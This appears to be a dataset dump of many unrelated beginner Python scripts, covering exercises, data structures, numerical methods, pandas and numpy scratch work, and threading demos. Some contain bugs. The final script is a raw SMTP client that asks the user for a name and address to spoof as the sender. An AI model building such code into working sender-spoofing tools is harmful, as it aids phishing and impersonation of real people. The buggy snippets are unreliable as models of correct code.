text
stringlengths 37
1.41M
|
---|
# User Input
val = int(input('Enter any Number: '))
add = 0
# For Loop & Logic
for num in range(1, val + 1):
num = (num ** 2)
add += num
print (add)
|
"""
Write a function that takes a string as input argument and returns a dictionary of vowel counts i.e. the keys of this dictionary should
be individual vowels and the values should be the total count of those vowels. You should ignore white spaces and they should not be
counted as a character. Also note that a small letter vowel is equal to a capital letter vowel.
"""
def count_vowel(string):
dict = {}
string = string.replace(' ', '')
string.upper()
vowels = ['A', 'E', 'I', 'O' 'U']
for char in string:
if char in vowels:
dict[char] = string.count(char)
return dict
|
#!/usr/bin/env python
# coding: utf-8
# ## q-1-2
#
# A bank is implementing a system to identify potential customers who have higher probablity of availing loans to increase its profit. Implement Naive Bayes classifier on this dataset to help bank achieve its goal. Report your observations and accuracy of the model.
# In[1]:
import pandas as pd
import numpy as np
import math
from sklearn import preprocessing
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report
from sklearn.naive_bayes import GaussianNB
import sys
# loading dataset and split in train and test.
# In[2]:
df = pd.read_csv("../input_data/LoanDataset/data.csv", names = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "Y", "k", "l", "m", "n"])
df = df.drop([0])
# In[3]:
Y = df.Y
X = df.drop(['Y'], axis="columns")
labels = Y.unique()
# In[4]:
X_train, X_test, Y_train, Y_test = train_test_split(X, Y,test_size=0.2)
df1 = pd.concat([X_train, Y_train],axis=1).reset_index(drop=True)
# inbuilt scikit-learn NaiveBayes classifier
# In[5]:
gauss_naive_bayes = GaussianNB()
gauss_naive_bayes.fit(X_train, Y_train)
Y_predict = gauss_naive_bayes.predict(X_test)
print confusion_matrix(Y_test,Y_predict)
print classification_report(Y_test,Y_predict)
print accuracy_score(Y_test,Y_predict)
# splitting data according to class label and storing their mean and median respectively
# In[6]:
df_one = df1[df1.Y==1].reset_index(drop=True)
df_zero = df1[df1.Y==0].reset_index(drop=True)
df_zero_summary = df_zero.describe().drop(['Y'],axis="columns")
df_one_summary = df_one.describe().drop(['Y'],axis="columns")
# calculate probability from mean and std-dev (Gaussian dist)
# In[7]:
def calc_gauss_prob(x, mean, std_dev):
exponent = math.exp(-(math.pow(x - mean,2)/(2*math.pow(std_dev,2))))
return (1 / (math.sqrt(2*math.pi) * std_dev)) * exponent
# method to predict class label.
# In[8]:
def predict(sum_zero, sum_one, row):
probabilities = {0:1, 1:1}
cnt=0
for col in sum_zero:
x = row[cnt]
cnt+=1
probabilities[0] *= calc_gauss_prob(x, sum_zero[col]['mean'], sum_zero[col]['std'])
cnt=0
for col in sum_one:
x = row[cnt]
cnt+=1
probabilities[1] *= calc_gauss_prob(x, sum_one[col]['mean'], sum_one[col]['std'])
bestLabel = 0 if probabilities[0] > probabilities[1] else 1
return bestLabel
# method to find prediction for whole test data
# In[9]:
def getPredictions(sum0, sum1, X_test):
predictions = []
for i in range(len(X_test)):
result = predict(sum0, sum1, X_test.iloc[i])
predictions.append(result)
return predictions
# printing accuracy and confusion matrix and classification report.
# In[10]:
Y_pred = getPredictions(df_zero_summary, df_one_summary, X_test)
print confusion_matrix(Y_test,Y_pred)
print classification_report(Y_test,Y_pred)
print accuracy_score(Y_test,Y_pred)
# In[11]:
test_file = sys.argv[1]
df_test = pd.read_csv(test_file, names = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "k", "l", "m", "n"])
Pred_val = getPredictions(df_zero_summary, df_one_summary, df_test)
print Pred_val
# ### Observation
# * Very simple, easy to implement and fast.
# * Need less training data
# * Can be used for both binary and mult-iclass classification problems.
# * Handles continuous and discrete data.
# * disadvantage is that it can’t learn interactions between features (e.g., it can’t learn that although you love movies with Brad Pitt and Tom Cruise, you hate movies where they’re together).
# In[ ]:
|
class Node:
'''class representing individual node within a singly linked list'''
def __init__(self, data=None):
self.data = data
self.next = None # Pointer --->
class SinglyLinkedList:
'''class containing functionality for generating/modifying a singly linked list'''
def __init__(self):
self.head = Node()
def append(self, data):
'''add node to the end of the list'''
new_node = Node(data)
current_node = self.head
while current_node.next != None:
current_node = current_node.next
current_node.next = new_node
def get(self, index):
'''returns data from specified index'''
list_length = self.length()
current_index = 0
current_node = self.head
if index in range(0, list_length):
while True:
current_node = current_node.next
if current_index == index:
return current_node.data
else:
current_index += 1
else:
print('ERROR: (get) index out of range!')
return None
def insert(self, data, index):
'''inserts new node at specied index'''
new_node = Node(data)
current_node = self.head
list_length = self.length()
current_index = 0
if index in range(0, list_length):
while True:
last_node = current_node
current_node = current_node.next
if current_index == index:
new_node.next = current_node
last_node.next = new_node
print(f"New node inserted at index {index}...")
return
else:
current_index += 1
else:
print('ERROR: (insert) index out of range!')
return
def update(self, data, index):
'''updates existing nodes data at specified index'''
list_length = self.length()
current_index = 0
current_node = self.head
if index in range(0, list_length):
while True:
current_node = current_node.next
if index == current_index:
current_node.data = data
print(f"Data at index {index} updated...")
return
else:
current_index += 1
else:
print('ERROR: (update) index out of range')
return
def delete(self, index):
'''deletes node at specified index'''
list_length = self.length()
current_index = 0
current_node = self.head
if index in range(0, list_length):
while True:
last_node = current_node
current_node = current_node.next
if current_index == index:
last_node.next = current_node.next
print(f"Node at index {index} deleted...")
return
else:
current_index += 1
else:
print('ERROR: (delete) index out of range!')
return
def length(self):
'''returns the length of the linked list'''
counter = 0
current_node = self.head
while current_node.next != None:
counter += 1
current_node = current_node.next
return counter
def display(self):
'''displays all data elements within the linked list'''
elements = []
current_node = self.head
while current_node.next != None:
current_node = current_node.next
elements.append(current_node.data)
print(elements)
return(elements)
# ------------------------------- TEST CASE --------------------------------- #
test_list = SinglyLinkedList()
print(f"List length: {test_list.length()}")
#Index
test_list.append('Tony') #0
test_list.append('Montana') #1
test_list.append(12) #2
test_list.append(True) #3
test_list.display()
print(f"List length: {test_list.length()}")
print(f"Element at index 0: {test_list.get(0)}")
print(f"Element at index 4: {test_list.get(4)}")
test_list.delete(5)
test_list.display()
test_list.delete(2)
test_list.display()
test_list.insert('Test data inserted', 1)
test_list.display()
test_list.insert('Another insert', 3)
test_list.display()
test_list.update('Changed to this', 0)
test_list.display()
test_list.update('Out of range', 5)
test_list.display()
'''
# --------------------------------- NOTES ----------------------------------- #
Linked list has no linear order. The order of the elements is controlled by the
data structure and is unidirectional for singly linked lists.
Each node has a pointer which links to the next node in the list.
Variations: Singly linked list / Doubly linked list.
Worst case O(n) to retrieve information or delete the last element. Other than that,
O(1) - meaning this is an efficient way of storing and retrieving data.
Memory allocation is dynamic and maximum size of list depends on heap stack.
Data can only be accessed sequentially, not by direct index location such as in a normal array/list.
'''
|
# BOX 1
def func(s,q):
for i in range(q//3):
print("|",end=" ")
for j in range(q//3):
print(s,end=" | ")
s+=1
print()
# BOX 2
def func1(s,q):
for i in range(3):
print("|",end=" ")
for j in range(3):
print(chr(s),end=" | ")
s+=1
print()
print("Box 1:")
func(1,10)
print()
print("Box 2:")
func1(65,75)
|
STARTING_FREQUENCY = 0
def one(data):
result = sum([int(x) for x in data])
print(result)
return result
def two(data):
frequencies = [int(x) for x in data]
values = set([STARTING_FREQUENCY])
actual_frequency = STARTING_FREQUENCY
i = 0
while True:
actual_frequency += frequencies[i]
if actual_frequency in values:
print(actual_frequency)
return actual_frequency
values.add(actual_frequency)
i = (i+1) % len(frequencies)
|
#задача 1
my_list = [False, bool, None, "asdfasdf", True, 5, 5.5]
def my_type(list):
for list in range(len(my_list)):
print(type(my_list[list]))
return
my_type(my_list)
#задача 2
count = int(input("введи кол-во элм. списка: "))
my_list = []
i = 0
n= 0
while i < count:
my_list.append(input("Введите следующее значение списка "))
i += 1
for element in range(int(len(my_list)/2)):
my_list[n], my_list[n + 1] = my_list[n + 1], my_list[n]
n += 2
print(my_list)
#Задача 3
My_list = ["зима", "весна", "лето", "осень"]
seasons_dict = {1 : "весна", 2 : "лето", 3 : "осень", 4 : "зима"}
month = int(input("Введите номер месяца: "))
if range (1, 12, 2):
print(seasons_dict.get(4))
print(My_list[0])
elif range (3, 4, 5):
print(seasons_dict.get(1))
print(My_list[1])
elif range (6, 7, 8):
print(seasons_dict.get(2))
print(My_list[2])
elif range (9, 10, 11):
print(seasons_dict.get(4))
print(My_list[3])
else:
print("Такого месяца не существует")
#Задача 4
my_str = input("Введите несколько слов в строку: ")
my_word = []
numb = 1
for n in range(my_str.count(" ") + 1):
my_word = my_str.split()
if len(str(my_word)) <= 10:
print(f" {numb} {my_word [n]}")
numb += 1
else:
print(f" {numb} {my_word [n] [0:10]}")
numb += 1
#задача 5
my_list = [7, 5, 3, 3, 2]
print(f"Рейтинг - {my_list}")
n = int(input("Введите число: для выхода наберите - 000) "))
while n != 000:
for m in range(len(my_list)):
if my_list[m] == n:
my_list.insert(m + 1, n)
break
elif my_list[0] < n:
my_list.insert(0, n)
elif my_list[-1] > n:
my_list.append(n)
elif my_list[m] > n and my_list[m + 1] < n:
my_list.insert(m + 1, n)
print(f"текущий список - {my_list}")
n = int(input("Введите число "))
|
"""
回文判断函数练习
1. 函数重载(支持不同类型传参)
2. 字符串双指针/数字整除
"""
def is_palind(obj):
# 处理字符串判断
if isinstance(obj, str):
return _check_str(obj)
if isinstance(obj, int):
return _check_int(obj)
# 字符串回文检查
def _check_str(obj):
# 双指针
obj_len = len(obj)
mid = obj_len // 2
end = mid
# 奇数跟start 同位, 偶数减一位
# python竟然没有三元运算符...
start = mid if obj_len % 2 != 0 else mid - 1
while start >= 0 and end <= len(obj):
if obj[start] != obj[end]:
return False
start -= 1
end += 1
return True
# 整数类型回文检查
def _check_int(num):
reverse_num = 0
origin_num = num
# print(num)
while origin_num > 0:
reverse_num = reverse_num * 10 + origin_num % 10
origin_num //= 10
return reverse_num == num
|
# python 中的set 集合类型也是无序,唯一的类型
# python里的set自带子交并补集等方法
from functools import reduce
# 求并集
def union(*args):
set_arr = set()
for item in args:
set_arr = set_arr.union(item)
return [item for item in set_arr]
# 求交集
def intersection(*args):
inter_sets = reduce(_inter_one, args)
return [item for item in inter_sets]
def _inter_one(arg_a=[], arg_b=[]):
set_a = set(arg_a)
set_b = set(arg_b)
return set_a.intersection(set_b)
# 求补集(绝对补集与相对补集)
def diff(arg_a=[], arg_b=[]):
set_a = set(arg_a)
set_b = set(arg_b)
# 绝对补集的前提,a需要是b的子集
if set_a.issubset(set_b) is False:
return []
return [item for item in set_b.difference(set_a)]
|
"""
找出所有的水仙花数
水仙花数也被称为超完全数字不变数、自恋数、自幂数、阿姆斯特朗数,它是一个3位数,
该数字每个位上数字的立方之和正好等于它本身,例如:$1^3 + 5^3+ 3^3=153$。
练习点:
整除/取余,反转
"""
def floor():
# 三位数
rst = []
for num in range(100, 1000):
# 求个十百位
low = num % 10
# // 可以做整除运算, 替代math.floor
mid = num // 10 % 10
high = num // 100 % 10
# 可以用 ** 代替 pow(low, 3)
if low ** 3 + mid ** 3 + high ** 3 == num:
rst.append(num)
return rst
# 反转正整数
def reverse_num(num):
rst = 0
while num > 0:
temp_num = num % 10
rst = rst * 10 + temp_num
# 用于loop循环
num //= 10
return rst
if __name__ == "__main__":
# print(floor())
print(reverse_num(123456))
|
"""
线程与锁
js是单线程语言,所以没有提供thread这种机制
ps: nodeJS 12.x 以上已经有了woker_thread 模块
"""
from threading import Thread, Lock
from time import sleep
# 无线程锁测试
class Account(object):
def __init__(self):
self._money = 0
# 加钱方法
def add_money(self, count):
# 这个写法其实也有点问题,如果在pending之前访问并存储这个变量,就会有问题
new_money = self._money + count
# 模拟等待时间
print('pending...')
sleep(.2)
# 这样写其实可以避免一些线程冲突的问题
# self._money += count
self._money = new_money
print('money added')
# 调用方通过这个property 安全地访问_money属性
@property
def money(self):
return self._money
# 加锁Account类
class LockAccount(Account):
def __init__(self):
super().__init__()
# 添加一个锁实例
self._lock = Lock()
# 重写父类的add_money方法
def add_money(self, count):
# 先获得锁,再执行代码
self._lock.acquire()
try:
super().add_money(count)
# 执行完后,释放锁
finally:
self._lock.release()
# 加钱线程类
class AddMoneyThread(Thread):
def __init__(self, act, money):
super().__init__()
self._account = act
self._money = money
def run(self):
self._account.add_money(self._money)
if __name__ == '__main__':
# account = Account()
account = LockAccount()
# 开启多个线程同时处理
# t1 = AddMoneyThread(account, 2)
# t1.start()
# t1.join()
# print(account.money)
threads = []
for item in range(10):
t = AddMoneyThread(account, 2)
threads.append(t)
t.start()
for t in threads:
t.join()
print(account.money)
|
# 循环链表
from data_structures.linklist import LinkList
# 循环链表实现
class LoopLinkList(LinkList):
def __init__(self):
super().__init__()
# 构建循环链表
# 链表指针
self.cur_node = self.head
self.head.next = self.head
# 修改to_arr方法
def to_arr(self):
cur_node = self.head
arr = []
while cur_node.next.item != 'head':
arr.append(cur_node.next.item)
cur_node = cur_node.next
return arr
# 指针向前移动n个位置
def move(self, n):
i = 0
while i < n:
i += 1
self.cur_node = self.cur_node.next
# 处理移动到头部后,自动走到下一位
if self.cur_node.item == 'head' and self.cur_node.next.item != 'head':
self.cur_node = self.cur_node.next
# 回到头部
def move_to_head(self):
self.cur_node = self.head
def show(self):
return self.cur_node
|
# -*- coding: utf-8 -*-
def print_lugares(lugares, tab=""):
linha_0 = tab + " Lugar:"
linha_1 = tab + " Marcação:"
for id_lugar in lugares:
linha_0 += " {0: <5} ".format(id_lugar)
linha_1 += " {0: <5} ".format(str(lugares[id_lugar].marcas))
print(linha_0)
print(linha_1)
def print_transicoes(transicoes, tab=""):
linha_0 = tab + "Transições:"
linha_1 = tab + "Habilitada:"
for id_transicao in transicoes:
linha_0 += " {0: <5} ".format(id_transicao)
linha_1 += " {0: <5} ".format(str(transicoes[id_transicao].habilitada))
print(linha_0)
print(linha_1)
|
name_school= input("Enter school name: ")
name = input("Enter your name: ")
name_project = input('Enter your name project: ')
madlib = f"I want to study in the university called {name_school}. My name is {name}. This is my first project in Python which name is {name_project} "
print(madlib)
|
"""
使用二分法、牛顿法、割线法、修正牛顿法和拟牛顿法求解非线性方程(组)
@author:Swiftie233
@Date:2020/10/20
@Harbin Institute of Technology
"""
from math import sin, exp
import sympy as sp
import numpy as np
import copy as cp
def diff(f, x):
return f.diff(x)
def bisection_method():
def f1(x): return sin(x)-0.5*x**2
a = [1]
b = [2]
epsilon = 0.5*10**-5
x = []
i = 0
while(1):
x.append((a[i]+b[i])/2)
if f1(x[i])*f1(a[i]) < 0:
a.append(a[i])
b.append(x[i])
elif f1(x[i])*f1(b[i]) < 0:
a.append(x[i])
b.append(b[i])
if (b[i]-a[i]) < epsilon:
x.append((a[i]+b[i])/2)
break
i += 1
return x
def newton(f, x, n):
t = sp.symbols('t')
fx = sp.diff(f)
for i in range(n):
x.append(x[i]-f.evalf(subs={t: x[i]})/fx.evalf(subs={t: x[i]}))
print(x[-1])
# return x
def secant_method(f, x, n):
# 割线法
denominator = []
numerator = []
try:
for i in range(1, n):
denominator.append(f(x[i])-f(x[i-1]))
numerator.append(f(x[i])*(x[i]-x[i-1]))
x.append(x[i]-numerator[i-1]/denominator[i-1])
except:
pass
print(x[-1])
def mended_newton(f, x, n):
t = sp.symbols('t')
fx = sp.diff(f)
for i in range(n):
x.append(x[i]-2*f.evalf(subs={t: x[i]})/fx.evalf(subs={t: x[i]}))
print(x[-1])
def quasi_newton(F, t, H, n):
"""
F:传入原方程组,可以计算Fx
t:方程的迭代解,为3xN矩阵,每一列为迭代结果
H:传入的H0
n:预定的迭代次数
"""
x, y, z = sp.symbols('x y z')
FF = cp.deepcopy(F)
r = np.array([[], [], []])
yy = np.array([[], [], []])
ans = np.array(FF.subs([(x, t[0][0]), (y, t[1][0]), (z, t[2][0])]).evalf())
for i in range(1, n):
h = np.split(H, i, 1)
temp_t = t[:, i-1]-h[i-1]@ans[:, i-1] # xi+1
t = np.c_[t, temp_t]
ans = np.c_[ans, F.subs({x: t[0][i], y:t[1][i], z:t[2][i]}).evalf()]
temp_r = t[:, i]-t[:, i-1] # ri
r = np.c_[r, temp_r]
yy = np.c_[yy, ans[:, i]-ans[:, i-1]]
t1=(r[:,i-1]-h[i-1]@yy[:,i-1]).reshape([3,1])
t2=(r[:,i-1]@h[i-1]).reshape([1,3])
t3=r[:,i-1]@h[i-1]@yy[:,i-1]
H = np.c_[H, h[i-1]+t1@t2/t3]
print(t[:,-1])
def call_bisection():
x = bisection_method()
print("二分法求解 sin(x)-0.5*x**2")
print(x[-1])
# print(a)
# print(b)
# print(i)
# return x,a,b,i
def call_newton():
t = sp.symbols('t')
f1 = t*sp.exp(t)-1
f2 = t**3-3-1
f3 = (t-1)**2*(2*t-1)
n = eval(input('请输入迭代次数:'))
print('牛顿迭代法求解 t*exp(t)-1,初值为0.5')
newton(f1, [0.5], n)
print('牛顿迭代法求解 t**3-3-1,初值为1')
newton(f2, [1], n)
print('牛顿迭代法求解 (t-1)**2*(2*t-1),初值为0.45')
newton(f3, [0.45], n)
print('牛顿迭代法求解 (t-1)**2*(2*t-1),初值为0.65')
newton(f3, [0.65], n)
def call_secant_method():
def f(x): return x*exp(x)-1
x = [0.4, 0.6]
n = eval(input('输入迭代次数:'))
print('割线法求解 x*exp(x)-1,初值为0.4,0.6')
secant_method(f, x, n)
def call_mended_newton():
t = sp.symbols('t')
f = (t-1)**2*(2*t-1)
n = eval(input('请输入迭代次数:'))
print('牛顿迭代法求解 (t-1)**2*(2*t-1),初值为0.55')
mended_newton(f, [0.55], n)
def call_quasi_newton():
x, y, z = sp.symbols('x y z')
f1 = x*y-z**2-1
f2 = x*y*z+y**2-x**2-2
f3 = sp.exp(x)+z-sp.exp(y)-3
t = np.array([[1, ], [1, ], [1, ]])
F = sp.Matrix([[f1], [f2], [f3]])
v = sp.Matrix([x, y, z])
Fx = F.jacobian(v)
H = np.array(
Fx.subs({x: t[0][0], y: t[1][0], z: t[2][0]}).evalf()) # 返回矩阵H0
H = H.astype(np.float)
H = np.linalg.inv(H)
# n=eval(input('输入迭代次数:'))
n = 10
quasi_newton(F, t, H, n)
def main():
call_bisection()
call_newton()
call_secant_method()
call_mended_newton()
call_quasi_newton()
main()
|
# -*- coding: utf-8 -*-
"""
Created on Tue Jan 16 15:54:14 2018
@author: Chandrasen.Wadikar
"""
print("Hello World")
2**2
ein=9
print (ein)
type(ein)
i_int=10; print(i_int)
i_float=10.9
print(i_float)
type(i_float)
s="897132897183712"
type(s)
print(int(float(s)))
type(s)
c="534.98292"
type(c)
print(int(float(c)))
str="Test World"
print(str[0:3])
print(str[1:6])
print(str[9])
print(str[3:7])
print(str*2)
print(str +" ",'123')
listv=[1,3,'testing',8,9,0,'by me']
print(listv)
print(listv[2])
print(listv[6:3])
print(listv[4:7])
listnew=[5,6,'validation',9,0,'machine',7,6,'learning']
print(listnew)
print(listnew*2)
print(listv+listnew)
listnew[1]='test'
print(listnew)
extuple=('hello',6,7,'learning')
print(extuple)
another_tuple=(99,'validate')
print(extuple[2:4])
print(extuple[5:9])
print(extuple[0])
print(another_tuple*2)
print(extuple+another_tuple*4)
another_tuple[3]='learning me'
dict1={}
dict1=['one']
dict1=[3]
print(dict1)
print(dict1['one'])
another_dict={'name':'chandrasen','code':23,'code':23,'number':33,'learning':'hello'}
print(another_dict)
print(another_dict.keys())
print(another_dict.values())
print(2*3)
print(2+6)
print(2.3+3.9)
print(4.33-9.88)
print(3/8)
a=10
b=8
print(a==b)
print(a>b)
print(a<b)
print(a>=b)
print(a<=b)
print(a!=b)
a=30
b=90
print(a&b)
print(a|b)
print(a^b)
print(not(a and b))
example_list=['hello',2,3,'test']
print(example_list)
print(22 in example_list)
print('hello' in example_list)
a=1
b=2
print(a is b)
import gensim
import statistics
eg_list=[2,3,4,5,5,32,13,22]
print(eg_list)
import statistics
print(statistics.mean(eg_list))
import statistics as s
print(s.mean(eg_list))
from statistics import mean as m , median as d
print(m(eg_list))
print(d(eg_list))
x=5
b=10
if x>b:
print('hi')
else:
print('ok')
a=10
b=20
c=40
if a>b:
print('a is greater than b')
elif a>c:
print('a is greater than c')
else:
print('b is greater than a or c')
def example():
print('example')
b=20+30
print(b)
example()
def example1():
print('example1')
a=10+10
return a
retun_val=example1();
print(return_val)
def example3(num1,num2):
print('third function')
z=num1*num2
return z
return_value=example3(20,40)
print(return_value)
def example4(num1,num2=5):
print('forth example')
z=num1**num2
return z
return_value=example4(4)
print(return_value)
def example5(num1):
print('fifth example')
c=num1*example3(30,20)
return c
print(c)
print(example5(10))
import collections as c
#C:\Users\chandrasen.wadikar\Desktop
f=open('C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt','r')
type(f)
text=f.read()
print(text)
f.close()
f=open('C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt','r')
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
print(f.readline())
f.close()
f=open('C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt','w')
type(f)
text1=f.write('Say Hi')
print(text1)
f.close()
f=open('C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt','a')
f.write("Hello test again/n")
f.close()
with open('C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt','r') as f:
read_data=f.read()
print(read_data)
with open('C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt','a') as f:
f.write('Final Test')
print(read_data)
import os
pathDir='C:\\Users\\chandrasen.wadikar\\Desktop\\'
f=open(os.path.join(pathDir,'test.txt'),'r')
test=[1,3,4,56,67,4,4,4,2]
for x in test:
print(x)
test=[2,3,4,5,5,6,6,6,7]
for x in test:
print(x**2)
test=[9,3,5,53,34,22,34,2,1,5,6,5.4,4]
for x in len(test):
print(x)
condition=1
while condition<11:
print(condition)
condition+=1
for x in range(1,11):
print(x)
for x in range(1,11,3):
print(x)
testlist=[3.4,5,3,11,3,4,543,3.3,33]
for x in range(len(testlist)):
print(testlist[x],type(x))
# print(testlist[x])
testlist1=[3,5,4,4,5,56,4,3,3,3,3,111,13,3]
for x in range(len(testlist1)):
testlist1[x]=testlist1[x]*2
print(len(testlist1))
for i,x in enumerate(testlist1):
print(i,':',x,':',x*2)
def d(x):
return x**2
print(d(8))
g=lambda x:x**2
print(g(8))
sum=lambda x,y :x+y
sum(1,1)
sum(2,3)
testlist=[3,4,4,231,3,3,4,5,5,12,3,4,7,89,2]
for x in testlist:
print(g(x))
f=lambda a,b: a if(a>b) else b
f(100,20)
f(200,22)
import collections as c
eg_list=['red','blue','green','yellow','red']
count=c.Counter(eg_list)
print(count)
list(count.elements())
eg_2=c.Counter(cats=4,dogs=6,puppy=2)
print(eg_2)
list(eg_2.elements())
print(c.Counter('abrakababra').most_common(3))
from collections import deque
d=deque('ghi')
for elem in d:
print(elem.upper())
d.append('j')
d.appendleft('f')
d
d.pop()
d.popleft()
list(d)
d[0]
d[1]
d[-1]
list(reversed(d))
'h'in d
d.extend('jkl')
d
d.rotate();d
d.rotate(-1)
d
deque(reversed(d))
d.clear()
d
d.popup()
d.extendleft('abc')
d
d={'banana':3,'orange':2,'apple':1,'mango':4}
OrderedDict
OrderedDict(sorted(d.items(),key=lambda t:t[0]))
import numpy as np
a=np.array([1,2,3])
print(a)
a=np.array([[2,3,4],[5,6,7]])
print(a)
a=np.sort(1).reshape(2,3)
a
a=np.arange(15).reshape(3,5)
a
a.shape
a.ndim
a.dtype.ndim
a.dtype.name
a.itemsize
a.size
a=np.array([1,2,3,4])
b=np.array([(1.2,3,4),(9.2,11,22)])
b
b.dtype.name
np.zeros((3,4))
np.ones((2,3,4),dtype=np.int16)
a=np.arange(6)
a
b=np.arange(12).reshape(4,3)
b
print(np.arange(10000))
print(np.arange(10000).reshape(100,100))
a=np.ones((2,3),dtype=int)
a
b=np.random.random((2,3))
a
a*=3
a
b+=2
b
b+=a
b
a=np.random.random((2,3))
a
a.sum()
b.min()
b.max()
b.std()
b.sum(axis=1)
b.sum(axis=-2)
b.max(axis=1)
b.cumsum(axis=1)
b=np.arange(3)
b
np.exp(b)
np.sqrt(b)
c=np.array([2,3.2,1])
np.add(b,c)
data=np.arange(12).reshape(3,4)
ind=data.argmax(axis=0)
ind
data[1][2]=999
ind=data.argmax(axis=0)
print(ind)
import pandas as pd
import numpy as np
data=np.array([2,3,4,5])
data
s=pd.Series(data)
type(s)
print(s)
print(data)
s=pd.Series(data,index=[100,200,300,400])
s=pd.Series(data)
print(s)
s=pd.Series([1,2,3,4,5],index=('a','b','c','d',''))
data={'a':1,'b':2,'c':3}
s=pd.Series(data)
print(s)
print(s[0])
df.drop('d',axis=1)
print(df[''a'])
print (s[0:4])
print(s['f'])
print(s[['a','b','c','d']])
import pandas as pd
df=pd.DataFrame()
print(df)
data=[['hi',2],['hello',3],['test',5]]
df=pd.DataFrame(data,columns=['word','len'])
print(df)
data=[{'a':10,'b':20,'c':30},{'a':90,'b':100,'c':11}]
df=pd.DataFrame(data,index=['first','second'],columns=['a','b','c'])
print(df)
print(df['a'])
print(df['a'],1)
df['d','e']=[4,88],[5,90]
df['d']=[4,88]
print(df)
df.drop('d',axis=1)
print(df['a'][0:2])
d={'Name':pd.Series(['Tom','Vijay','Chandrasen','DS']),'Age':pd.Series([24,44,41,22]),'Rating':pd.Series([1,5,1,3])}
df=pd.DataFrame(d)
print(df)
#df.to.csv("C:\\Users\\chandrasen.wadikar\\Desktop\\test.txt",index=False)
def func(x):
res = 0
for i in range(x):
res +=i
return res
print(func(4))
x=5
y=9
try:
res=x/y
print(res)
except:
print('cannot print')
pip install rpy2
import sklearn.datasets as data # to know the available default datasets
def sum(x):
res = 0
for i in range(x):
res +=i
return res
print(sum(4))
1,3,2,4,5
|
import random
import math
MIN = 0
MAX = 100
n = random.randint(MIN, MAX)
closest_power_of_two = int(math.pow(2, math.ceil(math.log(n, 2)))) if n!=0 else int(math.pow(2, 0))
integers = list()
print(f"n is {n}, the closest power of 2 (upper bound) is {closest_power_of_two}")
for i in range(closest_power_of_two):
integers.append(random.randint(MIN, MAX) if i<n else 0)
print(integers)
|
def convert_into_currency(num):
if num < 0:
raise ValueError('Некорректный формат!')
dec = num % 1
number = int((num - dec))
dec = int(dec * 100)
print(f'{number} руб. {dec} коп.')
convert_into_currency(12.5)
|
#####using print function
name='Mitchell Johnson'
phone='98606060660'
yr=1999
index=99.12345
print(name)
print(name,phone,yr)
print(type(name))
'''now using format'''
print('My name is:'+name)
print('My name is:',name)
print('My name is: '+name+" "+phone+" -- "+str(yr)) # for printing several strigs use'+'
##modern way of printing the same thing as above
print('My name is : {0}, phone is: {1}' .format(name,phone))
print('My name is : {1}, phone is: {0}' .format(phone,name))
print('My name is : {0}, phone is: {1}, yr is {2}.' .format(name,phone,yr))
print('index is {0:.3f}'.format(index)) #.3f says print 3 floating numbers after decimal
print('index is {0:.2d}'.format(index)) # throws as error 'Unknown format code 'd' for object of type 'float'
print('power is {0}:' .format()) # throws an error 'tuple index out of range'
print('power is {0}:' .format(2**3)) # gets '8'
## New case
print('Phone is %s & year is %f' %(phone, yr)) # s is string d denotes decimal no.
####### Math
a=10
b=20.23
c=3
print("Line 1\n {0:.2f}".format(a+b+c))
print("Line 2\n",(a*c+b))
print("Line 3\n",(a*(b/c)))
|
###############################
###Dictionary Examples#######
###############################
d= {'dog':'chases a cat',
'cat':'chases a rat',
'rat':'rats runaway'}
word=input("Enter a word:")
print("The defination is:",d[word])
d2=d.copy()
print(d2)
#################################################333
letter=input("Enter a letter:")
d={ 'A':'20','B':'30','C':'40','D':'50'}
if letter in d:
print("The value is:",d[letter])
else:
print("Not Available")
#printing key and value
for key in d:
print(d[key])
###########################
keys of list
list(d)
Values of key
list(d.values())
(key,value) pairs of d
list(d.items())
########################################################
#alternative way to create dictionary
#d=dict([('A',20),('B',30),('C',40),('D',50),('E',90)])
|
from socket import *
# Get input from user
sender = '<'+raw_input('What email address is SENDING this message? ')+'>\r\n'
recipient = '<'+raw_input('What email address is RECEIVING this message? ')+'>\r\n'
subject = raw_input('Subject: ')+'\r\n'
msg = '\r\n'+raw_input('Please enter your message: ')
endmsg = '\r\n.\r\n'
wantToSpoof = raw_input('\r\nWould you like to spoof as someone else? (y/n) ')
if wantToSpoof == 'y':
nameSpoofSender = raw_input('Enter the NAME of the person you would like to spoof as: ')
emailOfSpoof = '<'+raw_input('What email address are you SPOOFING as? ')+'>\r\n'
print('\r\nMESSAGE PREVIEW: ')
print('\r\nTO: %s' % recipient)
if wantToSpoof == 'y':
print('\r\nFROM: '+nameSpoofSender+emailOfSpoof)
else:
print('\r\nFROM: %s' % sender)
print('\r\nSUBJECT: %s' % subject)
print('\r\n\r\nMESSAGE: %s' % msg)
readyToSend = raw_input('\r\nReady to send your message? (y/n) ')
if readyToSend == 'n':
quit()
# Choose a mail server (e.g. Google mail server) and call it mailserver.
mailserver = 'ALT2.ASPMX.L.GOOGLE.COM'
port = 25
# Create socket called clientSocket
clientSocket = socket(AF_INET, SOCK_STREAM)
# and establish a connection with the mailserver
clientSocket.connect((mailserver, port))
recv = clientSocket.recv(1024)
print recv # Must have line break here, else syntax is wrong (spacing)
if recv[:3] != '220':
print '220 reply not received from server.'
# Send HELO command.
heloCommand = 'HELO Alice\r\n'
clientSocket.send(heloCommand)
# Get back and print the response
recv1 = clientSocket.recv(1024)
print recv1
if recv1[:3] != '250':
print '250 reply not received from server.'
# Send MAIL FROM command and print server response.
mailFrom = sender #'<[email protected]>\r\n'
clientSocket.send("MAIL FROM: "+mailFrom)
# Copied directly from above to print
recv1 = clientSocket.recv(1024)
print recv1
if recv1[:3] != '250':
print '250 reply not received from server.'
# Send RCPT TO command and print server response.
mailTo = recipient # '<[email protected]>\r\n'
clientSocket.send("RCPT TO: "+mailTo)
# Copied directly from above to print
recv1 = clientSocket.recv(1024)
print recv1
if recv1[:3] != '250':
print '250 reply not received from server.'
